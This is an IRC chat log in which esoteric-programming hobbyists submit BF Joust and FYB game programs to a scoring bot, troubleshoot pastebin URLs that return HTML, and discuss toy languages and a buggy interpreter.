01:24:45 <Sgeo> What happened to FYB?
01:24:54 <Gregor> Sgeo: Apparently it's just not cool enough :P
01:25:04 <EgoBot> Score for Gregor_saccharine_philip: 0.0
01:26:29 <elliott> It's broken.
01:26:39 <elliott> In oh so many ways :P
01:26:48 <Sgeo> elliott, hmm?
01:26:57 <elliott> Exactly that.
01:29:06 <Sgeo> !fyb +[{}+]
01:29:06 <EgoBot> Use: !fyb <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/fyb/
01:29:15 <Sgeo> !fyb somewhat_dumb +[{}+!]
01:30:19 <EgoBot> Score for Sgeo_somewhat_dumb: 7.6
01:30:30 <elliott> Sgeo: It's broken in that it's too easy unintentionally.
01:30:34 <elliott> @@ puts you at your opponent's IP IIRC.
01:30:35 <lambdabot> puts you at your opponent's IP IIRC.
01:30:37 <elliott> Basically it's abandoned.
01:30:51 <elliott> !bfjoust slow_idiot (>)*9((-)*128>)*20
01:31:03 <EgoBot> Score for elliott_slow_idiot: 0.0
01:31:22 <Sgeo> !fyb [@@[-]++++++++++++++!]
01:31:23 <EgoBot> Use: !fyb <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/fyb/
01:31:29 <Sgeo> !fyb easy_seek [@@[-]++++++++++++++!]
01:31:40 <EgoBot> Score for Sgeo_easy_seek: 5.1
01:32:05 <Sgeo> Well, that's interesting in that it's worse than somewhat_dub
01:32:06 <Sgeo> sumb
01:32:28 <Sgeo> It won against nothing
01:33:53 <elliott> Gregor: NEED WARRIORS TO TEST
01:35:50 <Sgeo> !bfjoust x_squared_plus_y_squared [[-]-]
01:36:11 <EgoBot> Score for Sgeo_x_squared_plus_y_squared: 20.4
01:36:17 <Sgeo> ooh
01:36:28 <pikhq> "Currently, CEOs of major U.S. companies average 263 times the average compensation of American workers."
01:37:21 <copumpkin> they clearly work 263 times harder
01:37:37 <Sgeo> Deewiant_monorail.bfjoust vs Sgeo_x_squared_plus_y_squared.bfjoust:
01:37:43 <Sgeo> XXXXXXXXXXXXXXXXXXXXX <X<X<X<X<X<X<X<X<X<X< <X<X<X<X<X<X<X<X<X<X< XXXXXXXXXXXXXXXXXXXXX
01:38:05 <Sgeo> What does each position represent, exactly?
01:38:09 <pikhq> copumpkin: At screwing people, perhaps.
01:38:16 <Sgeo> vPatashu_rushpolarity.bfjoust vs Sgeo_x_squared_plus_y_squared.bfjoust:
01:38:17 <Sgeo> XX<XXX<XXX<<<<<<<<<<< X<XXX<XXX<<<<<<<<<<<< X<XXX<XXX<<<<<<<<<<<< XX<XXX<XXX<<<<<<<<<<<
01:38:17 <Gregor> !bfjoust saccharin_philip http://sprunge.us/VGGO
01:38:19 <copumpkin> pikhq: OMG COMMIE
01:38:28 <EgoBot> Score for Gregor_saccharin_philip: 18.1
01:38:41 <Gregor> Wow, really?
01:38:49 <iconmaster> !fyb dumb_lightspeed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[>+]%%%%%%%%%%%%%%%%%%
01:38:49 <iconmaster> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
01:38:58 <Deewiant> Sgeo: Four groups, one for each polarity; and one <>X per tape length
01:39:06 <Sgeo> Ah
01:39:07 <pikhq> copumpkin: ALL HAIL MARX
01:39:13 <elliott> Deewiant: There are only two polarities :P
01:39:21 <EgoBot> Score for iconmaster_dumb_lightspeed: 5.1
01:39:24 <Gregor> lol, I have made the most specialized program EVER.
01:39:26 <Deewiant> elliott: Well what's the term for the +- pair :-P
01:39:35 <Gregor> saccharin_philip beats the top three and almost nothing else :P
01:39:39 <Deewiant> Unless you just meant egojoust's extra two modes
01:39:45 <elliott> Deewiant: Precisely
01:39:52 <elliott> Deewiant: There are two polarities, ++ (sieve) and +- (kettle).
01:39:58 <elliott> EgoBot runs them both twice for no reason :P
01:40:14 <iconmaster> !fyb working_dumb_lightspeed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[>+++!]%%%%%%%
01:40:14 <iconmaster> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
01:40:25 <elliott> iconmaster: Dude, you can't send a program over two lines.
01:40:29 <elliott> iconmaster: Put it on a pastebin and give it the URL.
01:40:32 <elliott> :P
01:40:41 <iconmaster> oh. I'm nooby, arn't I?
01:40:42 <Sgeo> What's % again?
01:40:45 <EgoBot> Score for iconmaster_working_dumb_lightspeed: 5.1
01:40:56 <iconmaster> This would be why my fyb progs fail.
01:42:09 <quintopia> wot happened
01:42:17 <iconmaster> !fyb lets_see http://pastebin.com/WQddVGT1
01:42:22 <EgoBot> Score for iconmaster_lets_see: 5.1
01:42:34 <iconmaster> Wow, it failed worse.
01:42:46 <Deewiant> pastebin.com is a bad idea, that's HTML
01:42:49 <Sgeo> "NOTE: You cannot set a bomb in your own program, so it doesn't have a character."
01:43:25 <Sgeo> !fyb self_bombing @[>]++++++++++++++!
01:43:29 <iconmaster> i figgured it out
01:43:29 <EgoBot> Score for Sgeo_self_bombing: 5.1
01:43:33 <Sgeo> ....
01:43:41 <iconmaster> !fyb lightspeed http://pastebin.com/raw.php?i=WQddVGT1
01:43:44 <EgoBot> Score for iconmaster_lightspeed: 5.1
01:43:52 <iconmaster> Okay, i suck at FYB.
01:43:58 <iconmaster> Im learning
01:44:00 <Sgeo> !fyb diediedie <
01:44:21 <Sgeo> What.
01:44:40 <EgoBot> Score for Sgeo_diediedie: 4.9
01:45:52 <Sgeo> !fyb better_self_bomb [@------!]
01:46:00 <Sgeo> Erm, hmm
01:46:02 <EgoBot> Score for Sgeo_better_self_bomb: 5.1
01:46:15 <elliott> iconmaster: That won't work.
01:46:21 <elliott> That page is HTML.
01:46:25 <Deewiant> iconmaster: That raw.php is also HTML, pastebin.com sucks.
01:46:25 <elliott> So your program starts with <!DOCTYPE.
01:46:27 <Sgeo> !fyb better_self_bomb_how_does_selfmod_work [@>--!]
01:46:36 <EgoBot> Score for Sgeo_better_self_bomb_how_does_selfmod_work: 6.6
01:46:37 <elliott> Try sprunge.us :P
01:46:41 <Sgeo> lolwat
01:46:47 <Sgeo> pastie.org works well
01:47:17 <Sgeo> Why can't I bomb myself?!
01:47:22 <iconmaster> !fyb total_fail http://pastie.org/1557853
01:47:29 <EgoBot> Score for iconmaster_total_fail: 0.0
01:47:43 <iconmaster> 0_0
01:47:51 <elliott> That is also HTML.
01:48:06 <elliott> And before you try it, so is http://pastie.org/pastes/1557853/text. :p
01:48:12 <Sgeo> Where's the raw link?
01:48:14 <iconmaster> Awwwwww.
01:48:23 <elliott> sprunge.us, man.
01:48:25 * Sgeo angers at pastie.org
01:48:42 * iconmaster is wondering if hell ever find a non-HTML paste
01:49:23 -!- rodgort has quit (Quit: Coyote finally caught me).
01:49:32 * iconmaster is using windows, the silly man.
01:49:42 <Sgeo> iconmaster, try ideone.com
01:49:50 <iconmaster> This is getting silly.
01:49:52 <Sgeo> Copy the download link's URI
01:49:55 -!- rodgort has joined.
01:50:10 <Sgeo> Or hmm
01:50:44 <elliott> You can use curl in Windows.
01:50:48 <elliott> *on Windows.
01:51:09 <Sgeo> If not ideone.com, try codepad.org
01:51:32 <iconmaster> ok...
01:51:42 <iconmaster> !fyb almost_rage http://ideone.com/plain/o4yiw
01:51:57 <elliott> That, finally, is not HTML.
01:52:01 <iconmaster> FINALLY!
01:52:09 <iconmaster> Took me long 'Nuff.
01:52:11 <EgoBot> Score for iconmaster_almost_rage: 5.1
01:52:19 <Sgeo> elliott, it seems to alter the URL
01:52:21 <elliott> Aaaaand it got just as good a score.
01:52:26 <elliott> Sgeo: Oh.
01:52:31 <Sgeo> I can't tell
01:52:44 <elliott> iconmaster: <form action="http://sprunge.us" method=post><textarea name=sprunge></textarea><input type=submit></form
01:52:46 <elliott> *form>
01:52:48 <elliott> save as sprunge.html
01:52:49 <elliott> open
01:52:51 <elliott> paste stuff in
01:52:52 <elliott> press submit
01:52:53 <elliott> get url
01:53:24 <Sgeo> elliott, feel like checking to see what happens?
01:53:33 <elliott> It will work.
01:53:52 <Sgeo> I meant the ideone.com
01:54:17 <elliott> Oh.
01:54:19 <elliott> No, I'm too lazy.
01:54:31 <Sgeo> And PuTTY just closed on me
01:54:55 <Gregor> It is almost unbelievable that pastebin.com "raw" mode is HTML X_X
01:54:58 <Gregor> That is so far beyond stupid.
01:55:36 <iconmaster> !fyb lightspeed_n_repair http://ideone.com/plain/Pwce4
01:55:37 <elliott> And pastie's. And ...
01:55:39 <EgoBot> Score for iconmaster_lightspeed_n_repair: 5.1
01:55:46 <elliott> iconmaster: yeah, that won't work
01:55:49 <elliott> <form action="http://sprunge.us" method=post><textarea name=sprunge></textarea><input type=submit></form>
01:55:52 <elliott> save locally as sprunge.html :P
01:56:00 <iconmaster> k
01:56:08 <Sgeo> GET /plain/Pwce4 HTTP/1.1
01:56:08 <Sgeo> Host: ideone.com
01:56:12 <Sgeo> What's wrong with that/
01:56:23 <elliott> Well they're all getting the same scores as the broken ones.
01:56:37 <elliott> The Content-Disposition might conceivably be confusing EgoBot.
01:57:34 <iconmaster> !fyb im_silly http://sprunge.us/DJAF
01:57:38 <EgoBot> Score for iconmaster_im_silly: 5.1
01:57:47 <iconmaster> ...
01:57:48 <Sgeo> Let's try with known-good programs
01:57:51 <iconmaster> ok
01:58:23 <iconmaster> !fyb well_known http://sprunge.us/WCYC
01:58:26 <EgoBot> Score for iconmaster_well_known: 5.1
01:58:56 <iconmaster> my test was :{>}[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+]]]]]]]]]]]]]]]+++++++++++++!>%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
01:58:56 <iconmaster> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
01:58:56 <iconmaster> :@[>+++]!;*
01:59:15 <elliott> Gregor: Does it actually load URLs?
01:59:31 <Gregor> elliott: Probably? :P
01:59:36 <elliott> Gregor: You sure?
01:59:39 <elliott> They're all getting score 5.1.
01:59:44 <elliott> Including known-good ones.
01:59:59 <iconmaster> !fyb might_work [>+++]!
02:00:02 <EgoBot> Score for iconmaster_might_work: 5.1
02:00:06 <iconmaster> o wait
02:00:20 <iconmaster> !fyb lol [>+++!]
02:00:21 <Gregor> Yeah, I think !fyb might be borkleborked :P
02:00:22 * Gregor checks it out
02:00:23 <EgoBot> Score for iconmaster_lol: 5.1
02:00:40 <iconmaster> !fyb AAAAAA {}+!
02:01:16 <elliott> !fyb FACES >>>>>>>>>>>>>!
02:01:18 <Gregor> STOP
02:01:22 <iconmaster> !fyb orly %
02:01:24 <iconmaster> o orry
02:01:47 <elliott> !fyb STOP STOP STOP
02:02:11 <iconmaster> !fyb lol %[>]!
02:02:11 <EgoBot> STOP
02:02:17 <iconmaster> lol?
02:02:35 <iconmaster> !bfjoust >>>
02:02:35 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
02:02:43 <iconmaster> !bfhoust mine >>>
02:02:50 <iconmaster> argh spam fail
02:03:09 <iconmaster> ok ill stop now.
02:03:30 <EgoBot> Score for iconmaster_AAAAAA: 4.4
02:03:31 <EgoBot> Score for elliott_STOP: 4.4
02:03:31 <EgoBot> Score for elliott_FACES: 4.4
02:03:31 <EgoBot> Score for iconmaster_orly: 4.4
02:03:34 <iconmaster> lol
02:04:37 <iconmaster> !help ul
02:04:37 <EgoBot> Sorry, I have no help for ul!
02:04:44 <iconmaster> !help
02:04:45 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
02:04:57 <iconmaster> !help languages
02:04:57 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
02:05:48 <iconmaster> !underload (hello)(::S^):^
02:06:00 <iconmaster> Aaah... random fun.
02:09:52 * iconmaster wonders if anyone is alive
02:09:59 <iconmaster> I know I'M not
02:10:10 <elliott> i'm not
02:10:34 <iconmaster> yay- so we can be not alive TOGETHER!
02:10:42 <iconmaster> so... is EgoBot really broken?
02:11:50 <elliott> Only FYB.
02:12:09 <iconmaster> well thats too bad...
02:12:33 <iconmaster> Anyhow, wanna hear of an (arguably) esoteric lang I made?
02:12:48 <Sgeo> Sure
02:12:58 <iconmaster> It combines DOS with RPL for some reason.
02:13:06 <iconmaster> its called RPOS
02:13:09 <iconmaster> http://codepad.org/W9NgsZvP
02:13:57 <iconmaster> Theoretically, i could remake it in asm and ship it as an os somehow later.
02:14:42 <iconmaster> It's probably Turing-complete. No proof yet.
02:15:05 <elliott> I don't see any way to loop.
02:15:17 <iconmaster> the 'while' command?
02:15:23 <elliott> Oh, that would do it.
02:15:50 <iconmaster> Prefixes really make it unique. And the way you construct strings.
02:15:56 <elliott> iconmaster: Can you do an if statement?
02:15:59 <elliott> e.g. while and then break out.
02:16:00 <iconmaster> yes
02:16:05 <elliott> Numbers have unbounded range?
02:16:09 <elliott> I don't know if Lua does bignums.
02:16:12 <iconmaster> yep
02:16:44 <elliott> Then yeah, it's TC :P
02:17:13 <iconmaster> 1 dup dup ?'1 ?"'hi_disp ?while is a condition while loop!
02:17:19 <Sgeo> Is Lua more TC than C?
02:17:38 <iconmaster> I <3 Lua. That's all I can say.
02:17:52 <elliott> I hate Lua, yay
02:17:54 <elliott> BUDDIES
02:17:56 <elliott> *BUDDIEZ
02:18:42 <iconmaster> I'm so glad I stopped doing all my Lua in ROBLOX. It's really a child's game.
02:19:06 <Sgeo> I was consdiering playing with ROBLOX
02:19:08 <elliott> THAT'S CAUSE LUA'S A CHILD'S LANGAGE hahaha okay i'll stop.
02:19:15 <iconmaster> lulz
02:19:23 <Sgeo> *consdirder
02:19:27 <Sgeo> *considering
02:19:33 <elliott> *fujnxclvdknffoksdpgm
02:19:39 <elliott> *z<zcvxbhjgu;'tyg
02:19:40 <elliott> *)A(u43e568
02:19:42 <iconmaster> I like it cuz it's a small, clean language that's (relatively) fast.
02:19:57 <elliott> Lua isn't very fast, the VM isn't exactly efficient.
02:20:08 <elliott> And the arrays are hash tables and therefore not exactly very fast, and every value is boxed.
02:20:15 <elliott> Calling it fast is a bit of a stretch :P
02:20:19 <iconmaster> Nope, but better than Ruby (my old lang) in many cases
02:20:41 <elliott> Well yah, going from Ruby everything is fast. and non-shitty. :P
02:20:50 <iconmaster> Correct.
02:21:03 <elliott> Meanwhile HASKELL, for ADULTS
02:21:06 <iconmaster> I didn't really like object-orientedness either.
02:21:08 <Sgeo> elliott, do you like or hate Ruby? You certainly use it
02:21:12 <elliott> , he says, debugging broken C code.
02:21:18 <elliott> Sgeo: It has a convenient socket API :P
02:21:30 <Sgeo> Write a convenient socket API for Haskell then
02:21:40 <iconmaster> I like Lua because object-oreintedness is light, but there when you need it, also.
02:21:51 <elliott> Haskell's socket API is fine :P
02:22:20 <iconmaster> I went to the Haskell demo earlier, and it is pretty nice, but confising in places.
02:22:44 <elliott> It's the most confising language there is.
02:23:03 <iconmaster> Other than esolangs? or > than?
02:23:09 <elliott> iconmaster: The problem is that accessible Haskell code looks like not much special, and Haskell code that showcases its strengths are completely incomprehensible to people not experienced with functional programming :P
02:23:17 <Sgeo> iconmaster, he was just making fun of your typo code
02:23:20 <elliott> Also, I was just reappropriating your typo as the best adjective.
02:23:20 <Sgeo> typo code wtf
02:23:28 <elliott> Typo code wat
02:23:28 <iconmaster> lol
02:23:40 <iconmaster> Typo code wut
02:23:49 <iconmaster> Type code ...
02:23:55 <iconmaster> AGH!
02:24:29 <Sgeo> typo/type typo code
02:24:57 <elliott> Topo code.
02:25:01 <elliott> It's code to do with topology.
02:25:01 <Gregor> !fyb borklebork :{>}[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+]]]]]]]]]]]]]]]+++++++++++++!>%%%%%%%%%%%%%%%%%
02:25:05 <EgoBot> Score for Gregor_borklebork: 0.0
02:25:10 <iconmaster> I have a 100-page notebook almost filled with commands for Onecode. Remeber Onecode? Not really? Its ok.
02:25:16 <Sgeo> Lowest score code yet!
02:25:22 <Gregor> Yessssssssssss
02:25:24 <Gregor> But it is working :P
02:25:29 <iconmaster> Lets get code with negative score!
02:25:41 <Sgeo> negative code
02:26:02 <iconmaster> @[+!>]
02:26:02 <lambdabot> Unknown command, try @list
02:26:07 <iconmaster> ?
02:26:11 <iconmaster> o lol
02:26:17 <Sgeo> !fyb code
02:26:17 <EgoBot> Use: !fyb <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/fyb/
02:26:24 <Sgeo> !fyb name code
02:26:40 <iconmaster> !fyb fail_sauce @[+!>]
02:27:32 <EgoBot> Score for Sgeo_name: 0.0
02:27:44 <EgoBot> Score for iconmaster_fail_sauce: 12.7
02:27:48 <iconmaster> OMG
02:27:59 <iconmaster> ???
02:28:04 <Sgeo> ...doesn't that edit your own code?
02:28:13 <iconmaster> yes, it does.
02:28:23 <Sgeo> So, what does that code become?
02:28:27 <iconmaster> idk
02:29:03 <elliott> Gregor: Make x86Joust.
02:29:04 <elliott> DO EET
02:29:44 <iconmaster> I wish there was a FYB program debugger.
02:30:00 <iconmaster> Id like to see what got my code a 12
02:30:06 <quintopia> so, what's happened with lance while i was away?
02:30:16 <Sgeo> quintopia, you got lanced.
02:30:33 <elliott> quintopia: still on stupid fucking bug
02:30:44 <elliott> quintopia: need simple but non-trivial warriors that use ()*, preferably nested, but no unbalanced [] in (), and no ()%
02:30:50 <elliott> preferably two that are closely matched
02:30:53 <Sgeo> Why non-trivial?
02:30:56 <elliott> to debug
02:31:44 <iconmaster> !fyb fail_2 @[[+++!>>]+]
02:32:26 <EgoBot> Score for iconmaster_fail_2: 0.0
02:32:35 <Sgeo> Where doe @ put the IP?
02:32:38 <iconmaster> !fyb fail_1 @[+!>]
02:33:07 <EgoBot> Score for iconmaster_fail_1: 12.0
02:33:15 <iconmaster> I have failed at failing.
02:34:13 <quintopia> elliott: ais523_speedy2.bfjoust
02:34:22 <elliott> quintopia: and the other?
02:34:42 <quintopia> Deewiant_maglev.bfjoust
02:34:58 <quintopia> actually
02:35:01 <iconmaster> !fyb fail_cuz_html http://esolangs.org/files/fyb/src/logicex-2.fyb
02:35:03 <quintopia> they aren't closely matched
02:35:05 <EgoBot> Score for iconmaster_fail_cuz_html: 28.5
02:35:07 <quintopia> maglev kicks ass
02:35:09 <iconmaster> !!!
02:35:19 <iconmaster> o wait... i see...
02:35:19 <elliott> that's not html
02:35:20 <elliott> obvs
02:35:30 <elliott> quintopia: well okay
02:35:31 <elliott> !bfjoust
02:35:31 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
02:35:35 <quintopia> elliott: maglev vs. monorail is decent
02:35:35 <iconmaster> i see now! the () were commants, i forgot
02:35:50 <elliott> what about monorail vs speed.y2
02:35:52 <elliott> *speedy2
02:36:08 <quintopia> speedy kills everytime
02:36:16 <iconmaster> !fyb fail_AGAIN @[+!>]
02:36:24 <elliott> quintopia: $ ./lance '(>+>-)*4(>[(-)*9[+]])*21' '>>>>>>>>(>[-[++[---]]])*21'
02:36:24 <elliott> Sieve: >>>>>>>>>>>>>>>>>>>>>
02:36:24 <elliott> Kettle: >>>>>>>>>>>>>>>>>>>><
02:36:24 <elliott> Right wins (40)
02:36:26 <elliott> quintopia: _every_ time?
02:36:30 <EgoBot> Score for iconmaster_fail_AGAIN: 10.8
02:36:35 <iconmaster> comparin fail to logicex
02:36:46 <iconmaster> my scoar went down
02:36:51 <elliott> gah indeed, every time
02:36:51 <quintopia> elliott: none of these have nested ()* unfortunately
02:36:52 <elliott> so i have a bug
02:37:02 <elliott> it's ok, bug triggered
02:37:58 <iconmaster> !fyb orly @+[-[>?]+]
02:38:08 <EgoBot> Score for iconmaster_orly: 0.5
02:38:17 <iconmaster> woot! half a point
02:38:45 <elliott> ooh an OFF-BY-WAN
02:38:49 <elliott> off-by-obi-wan
02:39:05 <Sgeo> Off by obi-wan typo code
02:39:33 <quintopia> gah, i just came up with the awesomest defend idea ever, but i know it'll be just about the longest bfj program ever written >_>
02:39:38 <Sgeo> Sgeo, murderer of jokes.
02:39:43 * iconmaster gotsa go.
02:39:49 <Sgeo> Bye iconmaster
02:39:50 -!- iconmaster has quit (Quit: bye).
02:40:01 <Sgeo> quintopia, do it, do it, do looks like a lady
02:40:18 <quintopia> in fact
02:40:32 <quintopia> it'd be the very same hybrid elliott was early postulating the existence of
02:40:41 <elliott> quintopia: generate it with a program
02:40:48 <quintopia> the one i suggested would be impossible >_>
02:40:58 <Sgeo> What hybrid?
02:40:58 <elliott> quintopia: see, this is why i no longer call things impossible in bfj :P
02:41:17 <Sgeo> elliott, losing against <
02:41:20 <elliott> Sgeo: a program which, when it starts, looks at what its opponent is doing, and then decides whether to defend or attack
02:41:26 <quintopia> elliott: if it turns out my idea works, i'll let you say you told me so
02:41:26 <Sgeo> Ooh
02:41:28 <elliott> and also after a long time of defending goes to attack, etc.
02:42:51 <Sgeo> Why did quintopia think it impossible?
02:43:42 <elliott> Sgeo: because this stuff usually does seem impossible :)
02:43:47 <quintopia> my exact words were "elliott: but figuring out what an opponent is going to do while it is still building its own decoys is impossible"
02:43:51 <elliott> Sgeo: when bf joust was young i didn't believe a defender was possible
02:43:55 <Sgeo> I think I should make a BFJoust decompiler, make BFJoust code into something readable
02:43:57 <quintopia> which i still hold is impossible
02:44:06 <elliott> That would be impossible... it's readable enough anyway
02:44:08 <elliott> quintopia: of course, i agree
02:44:16 <elliott> quintopia: but you could always keep checking to see if it's finished decoy-building
02:44:34 <quintopia> elliott: well
02:44:38 <quintopia> what i can do
02:44:48 <quintopia> is determine *whether it builds decoys at all*
02:44:52 <quintopia> and react accordingly :P
02:45:30 <quintopia> i'll rush the ones that build large decoys, and defend the ones that rush without decoying
02:53:19 <Sgeo> !bfjoust alt_decoy >-<+>-<+>-<+>-<+>-
02:53:29 <zzo38> TeXnicard can now make PBM files correctly. Is this good?
02:55:28 <Sgeo> Is EgoBot alive?
02:56:06 <elliott> check the fucking breakdown before asking that :P
02:56:38 <Sgeo> o.O at Julius Freezer
02:57:55 <EgoBot> Score for Sgeo_alt_decoy: 7.8
02:58:37 <Sgeo> If I get mostly Xs but one <, do I win against that program?
02:58:38 -!- kwertii has joined.
02:58:46 <Sgeo> Well, 4 <, one in each polarity
02:59:08 <quintopia> Gregor: i have a small request for egojsout.
02:59:10 <elliott> Uhh, I do believe > is you winning.
02:59:15 <Gregor> quintopia: ?
02:59:15 <Sgeo> !bfjoust alt_decoy_w_tiebreaker >-<+>-<+>-<+>-<+>(-)*128
02:59:16 <elliott> At best you'll get a tie.
02:59:21 <elliott> But no, one loss = lose.
02:59:26 <EgoBot> Score for Sgeo_alt_decoy_w_tiebreaker: 7.8
02:59:56 <Sgeo> !bfjoust alt_decoy_w_tiebreaker2 >-<+>-<+>-<+>-<+>>(-)*128
03:00:24 <Sgeo> elliott, you got it backwards
03:00:47 <Sgeo> Aww my tiebreaker breaks no ties
03:00:54 <EgoBot> Score for Sgeo_alt_decoy_w_tiebreaker2: 5.8
03:01:08 <Sgeo> !bfjoust die_sometimes (>)*15
03:01:17 <quintopia> Gregor: can you make it take the search parameters from the location/address to automatically select a) the first opponent b) the second opponent c) a particular match by tape length and polarity (go ahead and run it if specified) and d) a range of cycles (only display that range of cycles if selected)?
03:01:18 <EgoBot> Score for Sgeo_die_sometimes: 2.4
03:02:05 <Sgeo> Thanks quintopia, for lettimg me time sometimes
03:02:09 <Sgeo> tie typeo code
03:02:34 <elliott> quintopia: what
03:02:42 <quintopia> Sgeo: you're...welcome?
03:03:51 <Sgeo> Check out breakdown.txt
03:03:53 <quintopia> Gregor: the first and second opponent should be specifiable either as program names from the hill, external files, or bf code directly
03:04:10 <Sgeo> quintopia, BFJoust code is not BF code
03:04:11 <Sgeo> >.>
03:04:14 <Gregor> External files = big no go
03:04:22 <elliott> what is Gregor talking about
03:04:24 <elliott> make _what_ take what
03:04:32 <Gregor> <quintopia> Gregor: can you make it take the search parameters from the location/address to automatically select a) the first opponent b) the second opponent c) a particular match by tape length and polarity (go ahead and run it if specified) and d) a range of cycles (only display that range of cycles if selected)? // I have no idea what you mean by this
03:04:37 <quintopia> Gregor: well then just the hill and the bf code then
03:04:38 <elliott> i think he means modifying egojoust
03:04:41 <quintopia> no
03:04:44 <quintopia> egojsout
03:04:47 <elliott> which is uhh the stupidest thing at this point considering lance is like only blocked on ten horrible bugs
03:04:54 <quintopia> hence encoding the params in the address
03:04:58 <Gregor> quintopia: That's what it already does :P
03:05:09 <quintopia> Gregor: then what's the param names?
03:05:19 <elliott> ( -- push 3
03:05:21 <quintopia> Sgeo: you mean shudder?
03:05:23 <elliott> RUN (run 1ce)
03:05:25 <Sgeo> Yesh
03:05:27 <elliott> ) -- make it 2
03:05:28 <quintopia> lul
03:05:30 <elliott> RUN (run 2ce)
03:05:32 <Gregor> quintopia: OH, you mean you want to be able to do it via query parameters?
03:05:34 <elliott> ) -- make it 1
03:05:36 <elliott> RUN (run 1ce)
03:05:39 <elliott> ) -- whoops it's zero stop
03:05:42 <elliott> okay so that runs thricery
03:05:43 <quintopia> Gregor: yes .html?param=etc
03:05:51 <Gregor> quintopia: Doesn't seem all that useful :P
03:06:01 <elliott> I think quintopia is trying to automate his program generation
03:06:06 <elliott> Whereas, you know, man up and write some code, jeez.
03:06:15 <quintopia> Gregor: it is very useful for linking people to certain parts of certain games to look at them
03:06:24 <quintopia> rather than pasting 10 lines into the channel
03:06:28 <elliott> oh please :P
03:06:31 <elliott> just tell us what line to scroll down to
03:06:34 <elliott> they're numbered!
03:06:43 <Gregor> quintopia: Except if anything changes on the hill, that link goes stale quick ...
03:06:50 <quintopia> exactly
03:06:52 <quintopia> so what?
03:07:01 <quintopia> it's for people to look at *right now*
03:07:14 <quintopia> also, bf code directly in the address...
03:08:00 <quintopia> (i know how lazy people are, elliott. telling them to run a certain match, pick a certain game, and scroll down to a certain line is bound to make them roll their eyes and go somewhere else)
03:08:13 <elliott> quintopia: People in here would do it
03:08:21 <elliott> People not in here who want to play BF Joust should get in here
03:08:21 <quintopia> iunno
03:08:33 <elliott> People without the patience to click a few times... have ADHD and will suck at BF Joust :P
03:08:39 <elliott> Or at least care sufficiently little that they'll suck.
03:08:45 <quintopia> perhaps
03:09:08 <quintopia> is it so wrong to ask for small conveniences?
03:09:29 <elliott> Welllll, it's a non-trivial amount of coding work for very little aid :P
03:09:46 <elliott> This channel, like all channels, is based on not wanting to do work, and that's what we do.
03:10:30 <quintopia> well, Gregor can of course say "no"...i asked whether it was okay to ask, and i think it is
03:10:40 <elliott> No, we'll punch you if you ask that.
03:11:45 <quintopia> you mean you'll serve me punch and some biscotti
03:11:54 <Gregor> quintopia: If the code is directly in the address, then the link will be super-long :P
03:12:30 <quintopia> Gregor: well i did ask for external files too :/
03:12:35 <elliott> integrate it with an ajax 2.0 url reduckter
03:12:49 <Gregor> quintopia: That simply cannot be done, SOP makes it impossible.
03:13:00 <Gregor> Well yeah, I could redirect, but yukk.
03:13:10 <elliott> I think he means like
03:13:11 <elliott> upload a file
03:13:13 <elliott> which is just
03:13:13 <elliott> :no:
03:13:18 <quintopia> Gregor: compressed BF programs! automatically generated for you by bfjsout!
03:13:19 <quintopia> :P
03:13:30 <elliott> man we're like
03:13:32 <elliott> staring at you
03:13:35 <elliott> with the talking
03:13:43 <quintopia> oops
03:13:43 <quintopia> sorry
03:13:47 <quintopia> egojsout
03:13:53 <quintopia> MY BRAIN FAILS AGAIN
03:13:54 <elliott> no no no that is not the problem
03:14:20 <elliott> your words they're just
03:14:24 <elliott> STOP IT
03:14:36 <quintopia> stopping using words?
